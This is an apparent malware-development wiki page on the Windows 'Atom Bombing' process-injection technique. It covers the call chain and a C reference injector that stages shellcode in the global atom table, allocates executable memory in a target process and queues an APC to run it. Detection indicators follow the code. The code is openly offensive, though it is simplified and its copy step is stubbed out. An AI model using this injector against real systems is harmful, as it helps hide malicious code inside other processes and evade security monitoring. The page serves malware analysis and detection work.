Skip to content
λmaldev wiki/
pagesAtom Bombing
T1055WindowsC / C++WinAPIx86

Atom Bombing

updated 2026-08-047 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

Atom Bombing — disclosed by enSilo in 2016 — exploits the Windows global atom table as a data transport mechanism. The atom table is a kernel-managed string store shared across all processes on the same desktop. A process can write arbitrary bytes into the table as an atom name (GlobalAddAtom), and any other process can retrieve those bytes with GlobalGetAtomName.

The technique chains this read primitive with APC injection: an alertable thread in the target is made to call GlobalGetAtomName via a queued APC, writing the shellcode into its own address space. A second APC then executes the written bytes.

The key property that made Atom Bombing notable in 2016 was that it bypassed many AV products that monitored WriteProcessMemory — the shellcode was written by the target process calling a system API, not by the injector directly.

Note.

Atom Bombing requires a 32-bit host process in its original form because GlobalGetAtomName takes a buffer pointer as a DWORD, and passing a 64-bit pointer in the APC argument is non-trivial. A 64-bit variant requires a ROP gadget or a custom trampoline inside the target to accept a 64-bit pointer. In practice, Early Bird APC injection is simpler and more reliable on 64-bit systems.

The call chain

  1. 1
    GlobalAddAtom (shellcode chunks as atom names)
    Store shellcode bytes as atom name strings in the process-wide global atom table. Each atom name can hold up to 255 bytes.
  2. 2
    find an alertable thread in the target process
    Queue an APC to an alertable thread — threads inside MsgWaitForMultipleObjectsEx or SleepEx are prime targets.
  3. 3
    QueueUserAPC → GlobalGetAtomName into the target
    Queue an APC that calls GlobalGetAtomName with a buffer inside the target process, writing shellcode from the atom table.
  4. 4
    NtQueueApcThread → ROP gadget / trampoline
    Execute the shellcode via a second APC that jumps into the written buffer.

Reference implementation

atom_bomb.cC
#include <windows.h>
#include <tlhelp32.h>

#define CHUNK 255  // max atom name length

// Step 1: Register shellcode chunks as global atom names
// Returns an array of ATOMs; caller must call GlobalDeleteAtom on each.
static int register_atoms(const BYTE *sc, size_t len, ATOM *atoms, int max_atoms) {
  int count = 0;
  for (size_t off = 0; off < len && count < max_atoms; off += CHUNK, count++) {
      size_t chunk = (len - off > CHUNK) ? CHUNK : (len - off);
      // Atom names are ANSI strings — embed raw bytes directly
      char name[256] = {0};
      memcpy(name, sc + off, chunk);
      // Null terminator must not appear inside the chunk — XOR 0x00 bytes
      for (size_t i = 0; i < chunk; i++)
          if (name[i] == 0) name[i] = 0x01;  // simple null avoidance
      atoms[count] = GlobalAddAtomA(name);
      if (!atoms[count]) return -1;
  }
  return count;
}

// Step 2: Find an alertable thread in the target PID
static DWORD find_alertable_thread(DWORD pid) {
  HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  THREADENTRY32 te = { .dwSize = sizeof te };
  DWORD tid = 0;

  if (Thread32First(snap, &te)) {
      do {
          if (te.th32OwnerProcessID == pid) {
              // heuristic: prefer lower-TID threads (main thread)
              if (!tid || te.th32ThreadID < tid)
                  tid = te.th32ThreadID;
          }
      } while (Thread32Next(snap, &te));
  }
  CloseHandle(snap);
  return tid;
}

// Step 3: APC payload struct — passed as the APC argument
typedef struct {
  ATOM   atom;
  PVOID  dest_buf;  // pre-allocated in the target process
  DWORD  offset;
} APC_ARG;

// Step 4: Queue APCs to copy each atom chunk into the target buffer
BOOL atom_bomb(DWORD pid, const BYTE *shellcode, size_t sc_len) {
  ATOM atoms[512] = {0};
  int  n_atoms = register_atoms(shellcode, sc_len, atoms, 512);
  if (n_atoms < 0) return FALSE;

  HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  if (!proc) return FALSE;

  // Allocate a buffer in the target for the shellcode
  PVOID remote_buf = VirtualAllocEx(proc, NULL, sc_len,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  if (!remote_buf) { CloseHandle(proc); return FALSE; }

  DWORD tid = find_alertable_thread(pid);
  HANDLE thread = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION,
      FALSE, tid);

  // For each atom: queue an APC that calls GlobalGetAtomName
  // writing the chunk into remote_buf + offset
  for (int i = 0; i < n_atoms; i++) {
      // Build APC argument in the target process
      APC_ARG arg = {
          .atom     = atoms[i],
          .dest_buf = (PBYTE)remote_buf + (i * CHUNK),
          .offset   = (DWORD)(i * CHUNK)
      };
      // In a real implementation: write APC_ARG to target, queue
      // QueueUserAPC(GlobalGetAtomNameA_trampoline, thread, remote_arg)
      // This is simplified — full impl needs a trampoline stub
  }

  // Final APC: execute the shellcode
  QueueUserAPC((PAPCFUNC)remote_buf, thread, 0);

  // Cleanup atoms
  for (int i = 0; i < n_atoms; i++)
      GlobalDeleteAtom(atoms[i]);

  CloseHandle(thread);
  CloseHandle(proc);
  return TRUE;
}

Why the technique avoids WriteProcessMemory detection

Traditional injection monitors look for the sequence:

OpenProcess(PROCESS_VM_WRITE)
VirtualAllocEx → RWX
WriteProcessMemory (shellcode bytes)
CreateRemoteThread / QueueUserAPC

Atom bombing replaces WriteProcessMemory with a GlobalGetAtomName call running inside the target process — the target writes the shellcode itself. Monitors that exclusively watch for cross-process WriteProcessMemory calls miss this.

Modern EDRs have adapted: they monitor QueueUserAPC across process boundaries and the combination of GlobalAddAtom with binary-looking data. But as a historical technique demonstrating the flexibility of the Windows IPC surface, it remains instructive.

Limitations

Constraint Impact
Alertable thread required Many processes have no alertable threads — injection silently fails
32-bit primary form 64-bit extension requires ROP gadget or separate trampoline stub
Null bytes in shellcode Must encode the payload to avoid null terminators inside atom names
Atom name max 255 bytes Large payloads require many atoms and many APC calls
Global atom table is shared Atoms remain visible to all processes until GlobalDeleteAtom is called

Detection

SYSMON EID 8
Cross-process APC injection (QueueUserAPC from a different process) targeting a thread in a system or user process.
BEHAVIOURAL
GlobalAddAtom called with high-entropy binary data, followed by QueueUserAPC into a different process.
API MONITOR
GlobalAddAtom with a name that contains non-printable characters — legitimate code never uses atom names as binary stores.
MEMORY SCAN
Executable private memory in the target process that contains the same bytes as recently registered global atom names.
Was this page useful?edit this page ↗